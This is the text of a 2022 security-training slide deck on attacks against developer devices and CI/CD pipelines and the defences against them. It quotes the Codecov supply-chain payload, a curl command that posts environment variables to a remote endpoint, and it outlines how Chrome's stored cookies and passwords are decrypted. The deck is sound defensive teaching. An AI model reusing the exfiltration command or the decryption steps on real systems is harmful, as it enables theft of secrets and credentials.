Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines

Dangerous attack paths:
Modern Development Environment Security
- Devices and CI/CD pipelines
Aug, 12th 2022
Hiroki SUEZAWA
v1.0.3
Security Camp (Japan) 2022

View Slide

What you will learn
2
Over the past ten years, the development environment in which software is being
developed has changed dramatically: with the spread of DevOps culture and the
increased use of Cloud infrastructures, and applications are now deployed through
CI/CD pipelines. In addition, development is now conducted not only in the ofﬁce, but
also outside the company.
In this slide, we will discuss how to attack and secure modern production environments,
mainly from the perspective of client-side attacks using malware and supply-chain
attacks, and explain comprehensive attack methods and measures, followed by
hands-on exercises.

View Slide

Disclaimer
● This slide is created for training at Security Camp (Japan) 2022
* Security Camp (Japan) is a training program for students aged twenty-two and younger
throughout Japan. Renowned experts at the forefront of information security industries
work as instructors to share their insight and expertise
● This slide is for the cybersecurity and software engineering community

View Slide

Who am I?
@rung
@rung
Hiroki SUEZAWA
Tokyo, Japan
/in/suezawa
4
● Title
○ Senior Security Engineer at Mercari, Inc.
■ Security Engineering, Automation, DFIR
● Career, Presentations
○ https://www.suezawa.net
● Main interest
○ Infrastructure Security
■ Kubernetes, Container, CI/CD, Linux, Cloud
○ Go Language
● Certiﬁcate
○ GXPN, GREM, GDAT, OSEP, OSCP, CKS, CISSP

View Slide

Hands-On Exercises
● Hands-on Exercises
○ https://github.com/rung/training-devenv-security
● Contents
○ Preparation: Setup Google Cloud and GitHub
○ Exercise 1: What credentials your PC has
○ Exercise 2: Try to secure your token
○ Exercise 3: Make and try continuous deployment and Infrastructure as code
○ Exercise 4: Attack against CI/CD
○ Exercise 5: Secure your CI/CD pipeline
● We use GitHub as Source Code Management and Google Cloud as a public cloud in
this exercise, but the contents of the slide can apply to others
5

View Slide

Primary target audience
● Software Engineer, SRE
○ Engineers who develop applications or manage and operate the infrastructure
● Security Engineering
○ Security Engineers working with the above people to do security design
Primary target audience
Software Engineer
SRE/Platform
Security Engineering
working with the above
people
Application
Infrastructure
Non-Primary target audience
IT (Corporate
infrastructure)
Other security roles
(SOC, Security Compliance, etc)
6

View Slide

Goal
Threat Modeling for
architecture design
(Microsoft)
Improving security through
cooperation between attackers and
defenders perspective
(SANS)
7
● Understand attack paths through the modern
development environment
● Be able to determine the level of importance for each
item of the best practices from a development
environment perspective.
● Be able to perform Threat Modeling and Security
Design for new technologies where best practices have
not yet been established

View Slide

Application Development Trends
● DevOps Culture
○ Practices that combine software development
(Dev) and operations (Ops)
■ High deployment frequency
■ Short lead time for changes
■ Developers became involved in operations
○ Automation
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as Code and GitOps trends
○ Manage infrastructure in code using Git
○ Immutable infrastructure
■ Instead of applying updates to existing
servers, containers are used to rebuild each
time and replace the container for each
update
8

View Slide

The scope
This slide deals with attack methods through the development environment
(Server-side attacks are out of scope) 9
Scope
High Value Asset we
want to protect

View Slide

Agenda
1. Introduction -
The Changes in the Development
Environment and the Attack paths
2. What remains for
development devices
3. CI/CD pipeline security
Understand that there is an attack path from the client side, as
outlined below
● Recent trends in the development environment
● Differences in attack paths due to changes in the
● Overview of targeted attacks and models of attack
methods
Learn what happens in a successful attack on a development
device and think about what you can do as a developer to
improve security
● Understanding the attack ﬂow of targeted attacks
● Credential Access on developer devices
● Considering how to protect credentials
10
Learn about the new risky component: CI/CD pipeline, and
why it is dangerous.
● Understanding CI/CD pipeline
● Understanding and practicing attacks targeting CI/CD
pipeline
● Considering how to protect CI/CD and understand the
limitations

View Slide

1. Introduction
The Changes in the Development Environment and the Attack paths
11

View Slide

Agenda
1. Introduction -
2. What remains for
development devices
Understand that there is an attack path from the client side,
as outlined below
methods
improve security
12
pipeline
limitations

View Slide

Development Environment covered in this slide
13
Scope
○ Single sign-on via the Web using IDaaS (Identity as a Service). Work from non-corporate
networks
○ Use of Source Code Management and CI/CD pipelines
○ Use of Public Cloud
High Value Asset we
want to protect

View Slide

Examples of service components
14
IDaaS
(Identity as a Service)
Okta, OneLogin, Azure AD, Google Workspace
Source Code
Management
GitHub, GitLab
CI/CD
GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud
Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD)
Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure

View Slide

Attacks covered in this slide
In Scope
Client-side Attacks Spear phishing attacks to infect devices with remote control malware(RAT), etc.
* Attacks to IT Admin are out of scope.
Supply-chain Attacks Attacks targeting 3rd party tools and application dependencies, etc.
Out of scope
Server-side Attacks Attacks targeting vulnerabilities on the server side (Network, Middleware, Web
applications, etc.) and attacks targeting web application users
IT Admin Attacks targeting administrative privileges for IDaaS and device management
systems, and attacks targeting misconﬁguration of these systems, etc. 15
Scope High Value Asset we
want to protect

View Slide

1. Introduction - The Changes in the Development Environment and the Attack paths
1.Recent trends in the development environment
Understand recent changes around the development environment and Why
Development Device and CI/CD Pipeline security matters
16

View Slide

Recent trends in the development environment
Previous development environment
● Trust boundaries based on network perimeter
● Use of on-premise Active Directory
● Login to servers through the corporate network
17

View Slide

Issues in the previous development environment
18
Lateral movement to other
devices on the same
network by exploiting
vulnerabilities
Intrusion into Active Directory from
a corporate network through
vulnerabilities or misconﬁgurations
Stealing authentication
information through relay attacks
on the same network
Server login with weak
authentication methods

View Slide

Reasons for changes in the development environment
● Based on the above, the development environment to be handled in this project is
assumed to be the following
○ Single sign-on via the Web using IDaaS (Identity as a Service). Work from
non-corporate networks
○ Use of Source Code Management and CI/CD pipelines
○ Use of Public Cloud
Changes in the
business
environment
● SaaS(Software as a Service): Assets moved outside the
company
● Work environment: Started working outside oﬃces
Changing Threats ● Targeted attacks need to be considered
● Supply-chain risks need to be considered
Server Management ● CI/CD pipeline: Infrastructure managed in code and automated
deployments to do fast and stable iterations
● Public Cloud: Software engineers are now also dealing with
infrastructure
19

View Slide

(Recap) Attacks covered in this slide
In Scope
Client-side Attacks Spear phishing attacks to infect devices with remote control malware(RAT), etc.
* Attacks to IT Admin are out of scope.
Supply-chain Attacks Attacks targeting 3rd party tools and application dependencies, etc.
Out of scope
Server-side Attacks Attacks targeting vulnerabilities on the server side (Network, Middleware, Web
applications, etc.) and attacks targeting web application users
IT Admin Attacks targeting administrative privileges for IDaaS and device management
systems, and attacks targeting misconﬁguration of these systems, etc. 20
Scope High Value Asset we
want to protect

View Slide

● Why Development Device(Chapter 2) and CI/CD Pipeline(Chapter 3) Security Matters
○ Because It's possible to break into production through that attack path.
Why Development Device and CI/CD Pipeline Security Matters
1. Development
environment is often the
starting point of targeted
attacks
2. CI/CD is a new attack
path leading to the
production environment
21
High Value Asset we
want to protect

View Slide

2.Differences in attack paths due to changes
in the development environment
Consider changes in attack paths created by changes in the development
environment
22

View Slide

Differences in attack paths due to changes in the development environment
Approach to Attacks
● The attack concept remains the same despite a changing development environment
○ Attackers have a goal in mind, and they repeatedly escalate privileges, move laterally,
and acquire credentials to spread the intrusion.
○ Bloodhound: A tool that draws attack paths to achieve goals (high privilege access, etc.)
in Active Directory.
■ Even in environments without Active Directory, the attack concept is the same
BloodHound – Snifﬁng Out the Path Through Windows Domains
Defenders think in lists. Attackers think in
graphs. As long as this is true, attackers win.
- Microsoft Blog
By searching the graph, attackers discover multiple
paths to the High Value Asset.
…
What can you do as a defender? The ﬁrst step is to
visualize your network by turning your lists into graphs.
Next, implement controls to prune the graph
23

View Slide

(Recap) Issues in the previous development environment
24
Lateral movement to other
devices on the same
network by exploiting
vulnerabilities
Intrusion into Active Directory from
a corporate network through
vulnerabilities or misconﬁgurations
Stealing authentication
information through relay attacks
on the same network
Server login with weak
authentication methods

View Slide

Changes in the development environment: more attack passes to reach the goal
●Lateral movement through the
Corporate network has become
more difﬁcult
●Examples of Remaining attack
methods
○Lateral Movement by internal
spear phishing attacks
○Abuse of ﬁle hosting service
○Social engineering using
communication tools such as
Slack
Attack path added.
●Single sign-on methods have
changed
●Active Directory is gone
DevOps and Public Cloud have
increased the opportunity for
many developers to work
directly with the infrastructure
(Services and settings vary by organization)
●IDaaS and device management are SaaS. There is less chance
of general vulnerabilities remaining in the infrastructure-layer
●Less chance of direct compromise from Non-IT Admin devices 25
High Value Asset we
want to protect

View Slide

3.Overview of targeted attacks and models of attack
methods
Understand what a targeted attack is, using a model describing the targeted
attack life cycle
Then, learn ATT&CK, the common language of security based on speciﬁc
attack methods
26

View Slide

Overview of targeted attacks and models of attack methods
Flow of targeted attacks using RAT via spear phishing
(Reference) Anatomy of an APT attack: Step by step approach - Infosec Resources
27
Attacker
1.Reconnaissance
2.Initial Foothold
3.Lateral Movement
Spear Phishing
C2 Server
C2: Command & Control
4. Exﬁltration
Device
Data of Interest

View Slide

Supply chain attacks targeting 3rd party tools and software dependencies
● Dependence on 3rd party tools and software in all phases
● If one of the dependencies is violated, the system can be breached
● Software has a large number of dependencies (Example: Dependencies on kubernetes) 28
2021:
CodeCov bash uploader hacked
PHP.net hacked
PyPI.org’s vulnerability
Homebrew Cask’s vulnerability
…
Public Cloud

View Slide

Targeted Attack Life Cycle Model: Cyber Kill Chain
29
Objectives
Impact
Exﬁltration
Collection
Access
Lateral
Movement
Credential
Access
Execution
Privilege
Escalation
Discovery
Pivoting
Command
& Control
Defense
Evasion
Persistence
Exploitation
Social
Engineering
Delivery
● Uniﬁed Cyber Kill Chain * Improved model of “Cyber Kill Chain”
○ A model that describes the entire targeted attack life cycle from Initial Foothold to
Action on objectives
○ Attackers achieve their objectives this way by repeatedly intrusions, remotely
controlling, laterally moving, elevating privileges, accessing credentials, etc.
Weaponization
Reconnaissance
Access
Initial Foothold - Compromised System
Pivoting
Network Propagation - Internal Network
Action on objectives - Critical Asset Access

View Slide

What is MITRE ATT&CK Framework?
● MITRE ATT&CK Framework
○ Knowledge base of TTP (adversary tactics, techniques, and procedures). It is
the main framework used in this slide
30

View Slide

● Why MITRE ATT&CK Framework?
What is MITRE ATT&CK Framework?
ATT&CK succinctly organizes adversary tactics and techniques along
with providing a common language used across security disciplines.
MITRE ATT&CK: Design and Philosophy
● Because it can be used as a “Common Language”
○ Each role in a Security organization can use it as a common
language
○ (From actual experience) The community is constantly updated
and the content is concrete, so communication between
development organizations (software engineers, SREs, etc) and
security organizations can be based on the ATT&CK
Cyber Threat
Intelligence
Detection &
Analysis
Threat
Emulation
Assessment &
Engineering
31

View Slide

What is MITRE ATT&CK Framework? (Tactics)
Reconnaissance The adversary is trying to gather information they can use to plan future operations.
Resource Development The adversary is trying to establish resources they can use to support operations.
Initial Access The adversary is trying to get into your network.
Execution The adversary is trying to run malicious code.
Persistence The adversary is trying to maintain their foothold.
Privilege Escalation The adversary is trying to gain higher-level permissions.
Defense Evasion The adversary is trying to avoid being detected.
Credential Access The adversary is trying to steal account names and passwords.
Discovery The adversary is trying to ﬁgure out your environment.
Lateral Movement The adversary is trying to move through your environment.
Collection The adversary is trying to gather data of interest to their goal.
Command and Control The adversary is trying to communicate with compromised systems to control them.
Exﬁltration The adversary is trying to steal data.
Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data.
List of Tactics
32

View Slide

What is MITRE ATT&CK Framework? (Technique)
Matrix is available for multiple platforms
Image: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
Tactic contains Technique
33

View Slide

What is MITRE ATT&CK Framework? (Techniques, Mitigation and Detection)
● Techniques, Mitigation and Detection
Home > Techniques > Enterprise > Unsecured Credentials 34

View Slide

What is MITRE ATT&CK Framework? (Groups)
● (Reference) Groups
Home > Groups 35

View Slide

Why MITRE ATT&CK is important
● By understanding the overall attack paths and specific TTPs, it is possible to
understand how each countermeasure specifically mitigates the attack
● Example of use: Considering Kubernetes Security is based on ATT&CK's Container
Matrix and ATT&CK-like matrix
○ Security: consider and implement specific defenses and monitoring
■ Security can collaborate better with other security roles and SRE using
concrete information and reasons
○ SRE: Consider and implement architecture and configuration
■ SREs can also collaborate better with security teams by understanding
the big picture of attacks
36

View Slide

(Reference) Principles of Security
● The goal of security measures is not to "make attacks impossible," but to "reduce risk to an
acceptable level.
○ Increase the difﬁculty of achieving the attacker's objectives throughout the attack lifecycle
○ Usability is also important
● Prevention is not the only method to reduce risk. Even when prevention is not possible, other
methods can reduce risk.
○ Prevention - may affect existing environments
○ Detection - can be performed without impact
● Other important concepts
○ Defence in Depth
■ Based on the assumption of intrusion, Layered countermeasures without creating a
Single Point of Failure.
○ Least Privilege
○ Secure by default
■ When mechanisms can be created to make the secure by default, developers will
choose the secure option without hesitation.
37

View Slide

Summary of Chapter 1
○ We understood recent changes around the development environment and
Why Development Device and CI/CD Pipeline security matters
● Differences in attack paths due to changes in the development environment
○ We considered changes in attack paths created by changes in the
○ We learned that even though the environment changes, the idea of attack
remains the same.
● Overview of targeted attacks and models of attack methods
○ We learned about targeted attacks via spear phishing and supply chain
attacks, and then understood the speciﬁc steps of the attacks using the Uniﬁed
Cyber Kill Chain.
○ We learned the contents of the ATT&CK framework, which is a common
language
38

View Slide

Hands-on Exercises: Preparation: Setup Google Cloud and GitHub
● Please perform the following exercise
○ https://github.com/rung/training-devenv-security/tree/main/0-preparation
■ * Exercises do not cover IDaaS

View Slide

2. What remains for development devices
40

View Slide

Agenda
1. Introduction -
2. What remains for
development devices
outlined below
methods
improve security
41
pipeline
limitations

View Slide

This chapter’s scope
● Developer's devices, which are often the starting point for targeted attacks, are the scope
of this chapter.
○ Based on the assumption of intrusion, Consider what can be stolen from a device
Initial access, privileges
escalation, information
collection, lateral
movement, credential
access, and exﬁltration are
performed
42
High Value Asset we
want to protect

View Slide

1.Understanding the attack ﬂow of targeted attacks
Based on the ATT&CK framework learned in the previous chapter, understand
the attack ﬂow when a device is compromised
43

View Slide

Understanding the attack ﬂow of targeted attacks
(Recap) Flow of targeted attacks using RAT via spear phishing
(Reference) Anatomy of an APT attack: Step by step approach - Infosec Resources
44
Attacker
1.Reconnaissance
2.Initial Foothold
3.Lateral Movement
Spear Phishing
C2 Server
C2: Command & Control
4. Exﬁltration
Device
Data of Interest

View Slide

ATT&CK for development devices
Recon Initial Access Execution Post Exploitation
Tactics (Example) techniques (Example)
Persistence Scheduled Task/Job
Privilege Escalation Valid Accounts
Defense Evasion Deobfuscate/Decode Files or
Information
Credential Access Steal Web Session Cookie
Discovery Browser Bookmark Discovery
Lateral Movement Internal Spearphishing
Collection Browser Session Hijacking
Exﬁltration Exﬁltration Over C2 Channel
45
Windows Matrix

View Slide

● Command & Control
○ Remote control malware(RAT) communicates with the
C2 server to perform operations
■ List of C2 frameworks: The C2 Matrix
Command & Control (C2)
Supplemental information
Notable Post-Exploitation tools: Metasploit, Empire, etc.
C2 framework: Covenant, etc.
Device
(Victim)
Attacker
direct communication
in-direct communication
for Defense Evasion
46
* C3

View Slide

What can be stolen from a device
● Credential Access
○ Access to passwords and web sessions
stored on the device
● Collection
○ Collection of data stored locally or on
web ﬁle sharing, chat services such as
Slack, etc.
This chapter focuses on Credential Access
because it leads directly to production.
Windows Matrix
47

View Slide

2.Credential Access on developer devices
Understand what credentials can be stolen when developer devices are
compromised
48

View Slide

Credential Access on developer devices
Consider Credential on devices
● Credential usage from the device perspective
Device
Web Browser
Services
(GitHub, Public Cloud,
etc.)
* Single sign-on mechanism is out of scope.
Redirect
IDaaS
(Single sign-on)
User logs in using Credential
(e.g, ID, Password, 2-factor authentication)
Issuing a cookie for session management
(GitHub, etc)
services issue cookies to manage sessions
Log in
Credential
Registration
Register SSH Public Key, etc
Issuing
credentials
(GitHub, Cloud Service, etc)
49
● Even with strong authentication, an attack will succeed when the issued tokens are stolen.
(Conﬁrm it in the exercise.)
Issuing Access Token, Static Key, etc.

View Slide

Example of credentials on devices
Credential Example Description How it is stored locally
Browser Cookie Cookies stored in browsers such as Chrome Symmetric key encryption(AES) using OS
security mechanism (DPAPI/Keychain)
Browser Password
Manager
Passwords stored in browsers such as Chrome Symmetric key encryption(AES) using OS
security mechanism (DPAPI/Keychain)
Browser Local Storage Local Storage stored in browsers such as Chrome Plain text
SSH Private Key A SSH private key tied to a public key registered with GitHub, etc Plain text or encryption by passphrase
PGP Signing Key A PGP private key tied to a public key registered with GitHub, etc Plain text or encryption by passphrase
GitHub Token Token issued by GitHub Plain text
Public Cloud Long-term
Access Key
Long-term keys issued by Public Cloud such as AWS, GCP and
Azure
Plain text
Public Cloud Temporary
Token
Long-term keys issued by Public Cloud such as AWS, GCP and
Azure
Plain text
Credentials in Password
Manager
Credentials in password managers such as 1Password and
Lastpass
They can store ID/Password, SSH Key, tokens, TOTP(Google
Authenticator) seed, etc.
(Depends on the service)
Encryption using a combination of OS security
mechanisms (DPAPI/Keychain, etc) and
passwords.
50

View Slide

Chrome’s Threat Model
● Attacks on local machines are considered outside the scope of Chrome's Threat
Model
Why aren‘t physically-local attacks in Chrome’s threat model?
…
We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any
application) to defend against a malicious user who has managed to log into your device as you, or who can
run software with the privileges of your operating system user account…
Why aren‘t compromised/infected machines in Chrome’s threat model?
Although the attacker may now be remote, the consequences are essentially the same as with physically-local
attacks. The attacker's code, when it runs as your user account on your machine, can do anything you can do.
(See also Microsoft's Ten Immutable Laws Of Security.)...
Chromium Docs - Chrome Security FAQ
51

View Slide

Chrome's proﬁle directory
● Chrome's proﬁle directory
Cookies
or /Network/Cookies
Format: SQLite3
Encryption: AES (GCM or CBC) encryption (using OS security mechanisms)
(Reference): Related pages at ATT&CK
History Format: SQLite3
Encryption: None
Local Storage/ Format: LevelDB
Encryption: None
* Some web sites store access tokens in Local Storage
Login Data Format: Password
Format: SQLite3
Encryption: AES (GCM or CBC) encryption (using OS security mechanisms)
(Reference): Related pages at ATT&CK
* Local applications built with Electron also have a similar directory structure because it uses Chromium.
52
● Chrome cookies can also be stolen without a password using Remote Debugger.
And they can also be obtained by memory dumps, etc.。

View Slide

● (Phishing) Phishing attacks through fake login pages to steal credentials for
authentication
● (After malware infection) Wrap executable ﬁles with scripts
○ Steal the plaintext password by having the user enter the password into a
wrapped script
Other Examples of Credential Theft
ID, Password, TOTP Token, etc ID, Password, TOTP Token, etc
Login Successful
fake login pages real login page
Device
53
SSH
git
gpg
Enter password
Upload
Real
executables

View Slide

Exercise 1: What credentials your PC has
● Perform the following exercises
○ https://github.com/rung/training-devenv-security/tree/main/1-exercise1
● Goal
○ Understand what credentials your PC has
● Exercise
○ Investigate Chrome's proﬁle
○ Check GitHub's credentials
○ Check Google Cloud's credentials
○ Check SSH Key
● Additional Exercise (No procedure)
○ Investigate other tokens
■ Password Manager(such as 1Password, Lastpass)
■ Local Application(Slack, etc)
■ Other public cloud services
54

View Slide

(Reference) How to decrypt Chrome’s Cookie and Password ﬁle
55
Windows Mac
https://github.com/rung/HackChromeData
1. Extract Symmetric key
Local State
(Encrypted symmetric key) DPAPI
Application symmetric key
Application
Keychain
(Chrome Safe
Storage)
Local Password
Seed
Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New)
2. Decrypt Cookie and Password
The symmetric key can decrypt Cookie and Password.
Windows: AES-GCM
Mac: AES-CBC
Cookie, Password(Login Data)
SQLite3 Format
● Decrypt Chrome Cookie and Password

View Slide

3.Consider how to protect credentials
We have seen in the previous section that many Credentials exist in the
development devices. We will then consider what can be done to reduce the
risk of attacks
56

View Slide

Consider how to protect credentials
Types of Credentials
● Separate types of Credentials in the devices
○ Credential required for authentication
■ ID/Password
■ TOTP Seeds or client certiﬁcates in Password Manager
○ Credential to be issued or registered after initial-authentication
■ Cookies stored in the browser
■ GitHub Token or SSH Key
■ Public Cloud Token/Key
57

View Slide

Credential required for authentication
● How to protect authentication
○ Use authentication based on mechanisms such as WebAuthn that are not stolen over the
network and bind to the origin (Reference)
■ External Authenticator(Security Key), On-Device Authenticator(Touch ID, etc)
● Strength of two-factor authentication
●
●
Type Password Cracking Resistant
(Brute force/Credential
Stufﬁng)
Phishing Resistant Hardware-Protected
* Prevention of private key
extraction
Password Only Weak Weak Weak
TOTP (e.g. Google Authenticator) Strong Weak Weak
SMS / Voice / Email Strong Weak Weak
Push Veriﬁcation Strong Moderate Strong
FIDO2(e.g. Security Key, Windows
Hello and Touch/Face ID)
Strong Strong Strong
58
* Some of the above table may have exceptions
depending on implementation.

View Slide

(Reference) Google’s research
Google Online Security Blog: New research: How eﬀective is basic account hygiene at preventing hijacking (2019)
59

View Slide

(Reference) Additional protection for authentication
● Single sign-on protection in addition to two-factor authentication
Type Examples of Effectiveness
TPM-based device authentication
tied to inventory
Effectiveness against attacks: Prevent login from attacker's device and phishing attacks
Internal Controls: Prevent Bring-Your-Own-Device and log-in from devices not tied to the
user
Authentication tied to device
security status, etc.
Effectiveness against attacks: Increase difﬁculty of successful initial access by attackers
Internal Controls: prevent logins from terminals that have not been updated or do not have
EDR/Antivirus software
Risk-based authentication
(location, login activity, etc.)
Effectiveness against attacks: Reduce the probability of successful login by an attacker
Supplemental:
(References) corporate security controls including organization and process: CIS Controls
* Not only technology, but also organization and processes are important from a Security perspective
(References) "Zero Trust Architecture": Beyond Corp, Microsoft Security Guideline, etc
* I recommend you have the attacker's perspective even if you reference those architectures
(References) There is also a method that does not use passwords for authentication (Passwordless)
Domains of IT and
Security
60

View Slide

Credential to be issued or registered after authentication
● Even with strong authentication, an attack will succeed when the issued tokens are stolen.
(1/2) Examples of methods for risk mitigation
Type Related credential types Examples of Effectiveness
Apply least privilege All Credentials (Cookie,
Token, Static Key, etc)
● Least privilege reduces the impact of the stolen
credentials
Grant temporary
access
All Credentials (Cookie,
● The stolen credentials’ privileges can be revoked before
abuses
● Example: Default permission is Reader, but engineer can
get Owner for a short period of time after an approval
● (Reference) Promote Zero Touch Production – further
features of Carrier | Mercari Engineering
Set expiration date for
issued cookies/tokens
● Stolen tokens expire and become unusable after a certain
period of time
Important: Force re-authentication after a certain period of time
instead of "if there is no operation for X minutes".
Do multi-party
authentication
(Require approval)
GitHub, etc ● It will not be possible to operate with only one token.
61

View Slide

Credential to be issued or registered after authentication
(2/2) Examples of methods for risk mitigation
Type Related credential types Examples of Effectiveness
Restrict long-term
credentials creation
AWS Access Key,
Google’s Service Account
key, etc
● Long-term keys will not remain locally
● In-the-Cloud(Workload Identity, etc) and
Cloud-to-Cloud(OIDC, etc) allow only temporary tokens
to be used, plus the master key is not portable, so you
can know where the tokens are used
Add network
restrictions
● Stolen tokens become unusable from another
environment
Do Security Log
Monitoring
● Monitor suspicious activity in the environment (Security
Monitoring domain)
62

View Slide

How to store Credentials
63
● How to store long-term Credentials (Password, Static Key, Token, SSH Key, etc.)
○ Basically adopt Keyless, which does not have long-term Credentials in the ﬁrst place.
■ Adopt Keyless authentication within a Cloud and Keyless authentication between Clouds
using OIDC (we will practice Keyless access to GCP from GitHub Actions in the next
chapter).
○ How to store Credentials that cannot be Keyless
■ Store in Secret Manager Service on a server or in the public cloud.
● Hashicorp Vault, AWS Secrets Manager, Google Secrets Manager,
○ Audit logs can be collected and credentials can be restricted.
■ Store Cloud long-term keys where they will be used only, then delete them from the
device.
○ (Limitations) However, there are cases where such management is not practically possible.
■ Combine the measures on the previous page to make it as secure as possible
● Least Privilege, Temporary access, multi-party auth, network restriction, etc
● (Reference) Use tools to detect and prevent Secret leakage
○ GitHub Push Protection, GitLab Secret Detection, Trivy, VS Code/IDE extensions, etc

View Slide

(Reference) Security of the device itself
● Although this slide is based on the assumption of intrusion,
● The risk can be lowered by hardening the security of the devices themselves
● Example of security measures *Note that the attacker is investigating Defense Evasion.
○ Software asset management and Vulnerability Management
○ OS and software hardening
○ Implementation of anti-malware protection
■ Use of EDR/Antivirus Software
■ Use an OS that is difficult to infect with malware and has isolation between Apps
● Properly configured Chrome OS, iOS, Android, etc.
○ Network Restrictions
■ Restrict communication between devices and egress traffic to access the C2 server
● There are mitigation methods that can and cannot be done in the domain of software and
infrastructure engineers.
● Be aware that the security of your applications leans on the measures taken by other teams.
* Although outside the scope of this slide, production intrusion by stealing IT Admin privileges is also a major
attack path. 64
Domains of IT and
Security

View Slide

Exercise 2: Try to secure your token
● Goal
○ Try some mitigation method from the slide
● Exercise
○ Try Webauthn
○ Try Keyless (within Cloud)
○ Assign temporary role via IAM Condition on Google Cloud
○ (Optional) Try least privilege on Google Cloud
○ Network Restriction to Google Cloud API via VPC Service Controls
65

View Slide

○ Based on the ATT&CK framework learned in the previous chapter, we understood
the attack ﬂow when a device is compromised
○ We understood what credentials could be stolen when developer devices are
compromised
○ We understood that an attack would succeed even with strong authentication
when the tokens issued are stolen
○ We conﬁrmed in a hands-on exercise that you have Chrome cookies, passwords,
GitHub and Google Cloud tokens on the device and can easily obtain them in plain
text!
● Consider how to protect credentials
○ We considered what could be done to reduce the risk of credential access
○ We understood that software and infrastructure engineers often cannot do it alone
and that measures taken by other teams also mitigate risk
○ We understood that there are many challenges in storing credential information
66

View Slide

67

View Slide

Agenda
1. Introduction -
2. What remains for
development devices
outlined below
methods
improve security
68
pipeline
limitations

View Slide

This chapter’s scope
● Consider CI/CD pipelines as a new entry point into production, both from the
perspective of attacks on the device side, which we have dealt with in the previous
chapters, and from the perspective of supply chain attacks on the pipeline
A new entry point into
production
69
High Value Asset we
want to protect

View Slide

1.Understanding CI/CD pipeline
Understand why CI/CD pipelines have become widespread and what they can
be used for, and practice them in hands-on exercises.
70

View Slide

Understanding CI/CD pipeline
(Recap) Application Development Trends
● DevOps Culture
○ Practices that combine software development
(Dev) and operations (Ops)
■ High deployment frequency
■ Short lead time for changes
■ Developers became involved in operations
○ Automation
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as Code and GitOps trends
○ Manage infrastructure in code using Git
○ Immutable infrastructure
■ Instead of applying updates to existing
servers, containers are used to rebuild each
time and replace the container for each
update
71

View Slide

What is a CI/CD Pipeline?
● CI/CD pipelines are a core component of DevOps
○ Application Deployment
● CI/CD Pipelines are also used for Infrastructure conﬁguration
○ Infrastructure as Code
72

View Slide

Tools
● Examples of managed CI/CD Services
○ GitHub Actions (Managed)
○ AWS CodePipeline
○ Google Cloud Build
○ GitLab CI/CD (Managed)
○ CircleCI, etc
● Examples of Self-Hosted CI/CD Services
○ Jenkins
○ GitHub Actions (Self-Hosted)
○ Drone
○ GitLab CI, etc
* Container deployment is often performed by tools such as Spinnaker and ArgoCD, but since the
above CI/CD tools are also used to build containers, they can be attacked in the same way. We will not
deal with the container deployment tools here.
73

View Slide

The Potential Impact
● Security incidents related to CI/CD could cause a big impact because:
○ CI/CD is linked to production environment directly
○ Setting credentials as environment variables is common practice
○ Often the credentials that lead to production can be obtained via a branch that
anyone can change without review. (No Isolation between CI and CD)
74

View Slide

2021: Supply-chain Attack via 3rd party tool
● Codecov: a test coverage tools used in CI/CD pipelines
○ Attacker injected malicious code to Codecov
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
■ Git repository name and environment variables were uploaded
○ The injected code remained undetected by users around the world for two
months
75

View Slide

Difficulties in the CI/CD pipeline security
● CI/CD is convenient but risky
○ Failure to understand default behavior and threats can quickly lead to production
breaches due to misconfiguration
○ Poor visibility: Difficult to keep and monitor logs
○ Managed CI/CD is challenging to limit egress traffic
● Static tokens and keys present a high risk
○ Portable
○ No additional MFA
○ No expiration
○ Difficult to manage centrally
● Supply-chain management is difficult
○ Not only software dependencies, but also the tools used on the CI/CD pipeline are
used in the attack
○ It is necessary to know what tools are being used, but it isn't easy because we do
not have the methods to manage them nicely.
76
Best practices have not yet been established, and security-aware design is challenging

View Slide

ATT&CK-like threat matrix
We summarized how CI/CD can be compromised and how to protect it as
an ATT&CK-like threat matrix for CI/CD pipelines
https://github.com/rung/threat-matrix-cicd 77

View Slide

(Ref) Top10 CI/CD Security Risks by Cider Security
“Top10 CI/CD Security Risks” summarizes top risks
https://www.cidersecurity.io/top-10-cicd-security-risks/ 78

View Slide

(Ref) SLSA
● SLSA: Supply-chain Levels for Software Artifacts
○ industry-recognized best practices for measures to protect the supply chain
○ Main Scope
■ Creation of a software artifact
■ Use of dependencies
■ A supply chain (From Developer to Consumer)
79
(This slide’s goal) Use best practices with an awareness of what each requirement protects.

View Slide

(Ref) List of CI/CD security-related documents
80
Document List of the entire Cloud including
CI/CD, SLSA
CI/CD Providers - CloudSecDocs

View Slide

Exercise 3: Make and try continuous deployment and Infrastructure as code
● Goal
○ Understand concept of Continuous Deployment and Infrastructure as code(Terraform)
● Lab-Setup
○ https://github.com/rung/training-devenv-security/blob/main/3-exercise3/lab-setup.md
○ You create CI/CD pipeline on your repository
● Exercise
○ Modify Go code and see automatic deployment
○ Add conﬁguration via Terraform
○ (Optional) Read code
81

View Slide

(References) Lab Environment
82
devenv-security-app
secrets.GCP_S
A_KEY
GitHub Actions
(CD)build &
deploy
test
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workﬂows
main branch
any branch
Deployment
* To simplify the lab, app builds container and deploy it directly
Cloud Run
devenv-security-app
secrets.GCP_S
A_KEY
GitHub Actions
(CD)apply
plan
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workﬂows
Google Cloud
main branch
any branch
Apply
Google Cloud
Resource
on Your Project
Plan
(Storage) state
management
App
IaC

View Slide

Understand attacks targeting the CI/CD pipeline, then perform hands-on
exercises
83
2. Understanding and practicing attacks targeting CI/CD pipeline

View Slide

Understanding and practicing attacks targeting CI/CD pipeline
Attack surfaces - Example
84
Source Code
(Git Repository)
Developer, SRE
Production
Build/Test Deploy
✔
Credentials
on Env Variables
Approver
● Modify CI/CD Configuration
● Modify application source
● Code Exec via IaC
● Supply-chain to Lint, Test, Build
Tool
● Get Credentials of Deploy
(lack of isolation)
● Supply-chain to Deploy Tool
● Bypass Review
Credentials
on Env Variables
Merged
CI CD
